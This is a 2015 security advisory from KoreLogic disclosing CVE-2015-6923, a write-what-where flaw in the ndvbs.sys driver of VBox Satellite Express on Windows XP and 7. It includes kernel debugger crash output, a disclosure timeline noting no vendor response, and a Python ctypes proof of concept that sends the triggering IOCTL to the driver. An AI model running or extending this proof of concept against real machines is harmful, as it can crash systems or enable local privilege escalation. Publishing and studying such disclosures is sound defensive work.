VBox Satellite Express Arbitrary Write Privilege Escalation

ID KL-001-2015-005
Type korelogic
Reporter Matt Bergin of KoreLogic
Modified 2015-09-16T00:00:00


Title: VBox Satellite Express Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-005 Publication Date: 2015.09.16 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-005.txt

  1. Vulnerability Details

    Affected Vendor: VBox Communications Affected Product: Satellite Express Protocol Affected Version: Platform: Microsoft Windows XP SP3, Microsoft Windows 7 (x86) CWE Classification: CWE-123: Write-what-where condition Impact: Arbitrary Code Execution Attack vector: IOCTL CVE-ID: CVE-2015-6923

  2. Vulnerability Description

    A vulnerability within the ndvbs module allows an attacker to inject memory they control into an arbitrary location they define. This vulnerability can be used to overwrite function pointers in HalDispatchTable resulting in an elevation of privilege.

  3. Technical Description

    Example against Windows XP:

    Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Tue Mar 10 18:57:54.259 2015 (UTC - 7:00) System Uptime: 0 days 0:11:19.843

    • *
    • Bugcheck Analysis *
    • *

    Use !analyze -v to get detailed debugging information. BugCheck 50, {b41c5d4c, 0, 805068e1, 0} Probably caused by : ndvbs.sys ( ndvbs+94f ) Followup: MachineOwner

    kd> kn Call stack: # ChildEBP RetAddr
    00 f64fda98 8051cc7f nt!KeBugCheckEx+0x1b 01 f64fdaf8 805405d4 nt!MmAccessFault+0x8e7 02 f64fdaf8 805068e1 nt!KiTrap0E+0xcc 03 f64fdbb0 80506aae nt!MmMapLockedPagesSpecifyCache+0x211 04 f64fdbd0 f650e94f nt!MmMapLockedPages+0x18 05 f64fdc34 804ee129 ndvbs+0x94f 06 f64fdc44 80574e56 nt!IopfCallDriver+0x31 07 f64fdc58 80575d11 nt!IopSynchronousServiceTail+0x70 08 f64fdd00 8056e57c nt!IopXxxControlFile+0x5e7 09 f64fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a 0a f64fdd34 7c90e514 nt!KiFastCallEntry+0xf8 0b 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet 0c 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc 0d 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a 0e 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866 0f 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88 10 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e 11 0021f6c0 1e07bd9c _ctypes+0x54d8 12 00000000 00000000 python27!PyObject_Call+0x4c

    Example against Windows 7:

    Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86 Copyright (c) Microsoft Corporation. All rights reserved. Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Personal Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850 Kernel base = 0x8280c000 PsLoadedModuleList = 0x82956850 Debug session time: Tue Sep 15 15:08:38.938 2015 (UTC - 7:00) System Uptime: 0 days 0:27:26.358 kd> .symfix;.reload Loading Kernel Symbols ............................................................... ................................................................ ........................ Loading User Symbols Loading unloaded module list ........ kd> !analyze -v

    • *
    • Bugcheck Analysis *
    • *

    KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 929ef938, The address that the exception occurred at Arg3: 974f4a34, Trap Frame Arg4: 00000000

    Debugging Details:

    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: ndvbs+938 929ef938 8b4604 mov eax,dword ptr [esi+4]

    TRAP_FRAME: 974f4a34 -- (.trap 0xffffffff974f4a34) ErrCode = 00000000 eax=00000000 ebx=85490880 ecx=85de2ae0 edx=85490810 esi=85490810 edi=8460a668 eip=929ef938 esp=974f4aa8 ebp=974f4afc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 ndvbs+0x938: 929ef938 8b4604 mov eax,dword ptr [esi+4] Resetting default scope CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x8E PROCESS_NAME: python.exe CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre LAST_CONTROL_TRANSFER: from 82843593 to 929ef938 STACK_TEXT:
    WARNING: Stack unwind information not available. Following frames may be wrong. 974f4afc 82843593 85de2a28 85490810 85490810 ndvbs+0x938 974f4b14 82a3799f 8460a668 85490810 85490880 nt!IofCallDriver+0x63 974f4b34 82a3ab71 85de2a28 8460a668 00000000 nt!IopSynchronousServiceTail+0x1f8 974f4bd0 82a813f4 85de2a28 85490810 00000000 nt!IopXxxControlFile+0x6aa 974f4c04 8284a1ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 974f4c04 76fa70b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a 0021f99c 00000000 00000000 00000000 00000000 0x76fa70b4

    STACK_COMMAND: kb FOLLOWUP_IP: ndvbs+938 929ef938 8b4604 mov eax,dword ptr [esi+4]

    SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: ndvbs+938 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ndvbs IMAGE_NAME: ndvbs.sys DEBUG_FLR_IMAGE_TIMESTAMP: 3ec77b36 BUCKET_ID: OLD_IMAGE_ndvbs.sys FAILURE_BUCKET_ID: OLD_IMAGE_ndvbs.sys ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:old_image_ndvbs.sys FAILURE_ID_HASH: {e5b892ba-cc2c-e4a4-9b6e-5e8b63660e75} Followup: MachineOwner

  4. Mitigation and Remediation Recommendation

    No response from vendor; no remediation available.

  5. Credit

    This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc.

  6. Disclosure Timeline

    2015.05.19 - KoreLogic requests a security contact from info@vboxcomm.com. 2015.05.29 - KoreLogic requests a security contact from {info,sales,marketing}@vboxcomm.com. 2015.08.03 - 45 business days have elapsed since KoreLogic's last contact attempt. 2015.09.11 - KoreLogic requests CVE from Mitre. 2015.09.12 - Mitre issues CVE-2015-6923. 2015.09.16 - Public disclosure.

  7. Proof of Concept

    from sys import exit from ctypes import * NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None

    device = "ndvbs" code = 0x00000ffd inlen = 0x0 outlen = 0x0 inbuf = 0x1 outbuf = 0xffff0000 inBufMem = "\x90"*inlen

    def main(): try: handle = CreateFileA("\\.\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) #NtAllocateVirtualMemory(-1,byref(c_int(inbuf)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,inbuf,inlen,outbuf,outlen) CloseHandle(handle) return False

    if name=="main": main()